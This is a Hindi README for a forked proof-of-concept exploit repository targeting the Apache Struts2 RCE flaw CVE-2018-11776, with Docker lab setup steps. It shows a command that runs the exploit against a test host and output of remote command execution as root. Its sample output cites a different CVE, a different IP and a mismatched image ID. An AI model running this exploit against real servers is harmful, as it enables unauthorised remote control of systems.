
Apache Struts2 CVE-2018-11776 रिमोट कोड निष्पादन भेद्यता के लिए Python प्रूफ-ऑफ-कॉन्सेप्ट एक्सप्लॉइट, प्रभावित संस्करणों 2.3-2.3.34 और 2.5-2.5.16 के विरुद्ध परीक्षण के लिए Docker कंटेनर के साथ।
यह https://github.com/hook-s3c/CVE-2018-11776-Python-PoC पर आधारित है। कंटेनर बिल्ड और निर्देश README में बताए अनुसार काम नहीं कर रहे थे, इसलिए यह फोर्क बनाया गया। उपयोग किया गया POC शोषण Rapid7 से है।
शुक्रिया:
hook-s3c (github.com/hook-s3c), ट्विटर पर @hook_s3c
Rapid7 https://github.com/rapid7/metasploit-framework/issues/8064
Semmle के मैन यू मो ने एक Struts2 RCE कमजोरी का खुलासा किया है, जो अनुरोध के URL पथ में एन्कोडेड पेलोड में पहुंचाई जाती है।
प्रभावित संस्करण 2.3 से 2.3.34, और 2.5 से 2.5.16 हैं।
डिफ़ॉल्ट कॉन्फ़िगरेशन असुरक्षित नहीं है। यह कंटेनर, और कई अन्य, असुरक्षित हैं।
डॉकरफ़ाइल से कंटेनर बनाना बेहतर है जब आप देख सकते हैं कि बिल्ड में क्या जा रहा है।
git clone https://github.com/freshdemo/ApacheStruts-CVE-2018-11776 ./Struts
cd Struts
docker build . -t freshdemo/apachestruts
नया कंटेनर इस प्रकार खोजें
docker images
आउटपुट कुछ इस प्रकार होना चाहिए, जहाँ से आप इमेज ID प्राप्त कर सकते हैं।
root@DockerHost:~/ApacheStruts-CVE-2018-11776# docker images REPOSITORY TAG IMAGE ID CREATED SIZE
freshdemo/apachestruts latest 6586cedf49fa About a minute ago 542MB
निम्नलिखित के साथ एक कंटेनर बनाएं और प्रारंभ करें।
docker run -d --name apachestruts -p 8080:8080 d39018c50afe
सुनिश्चित करें कि कोई भी इनग्रेस/एग्रेस फ़ायरवॉल आपके द्वारा निर्दिष्ट पोर्ट (8080) की अनुमति देता है, और निम्नलिखित के साथ अपने लक्ष्य पर शोषण चलाएं।
python struts.py http://192.168.2.188:8080 'id'
आपका आउटपुट कुछ इस प्रकार होना चाहिए।
root@k:/home/s# python struts.py http://192.168.2.188:8080 'id' [*] CVE: 2017-5638 - Apache Struts2 S2-045 http://13.88.250.188:8080 : [*] cmd: id uid=0(root) gid=0(root) groups=0(root)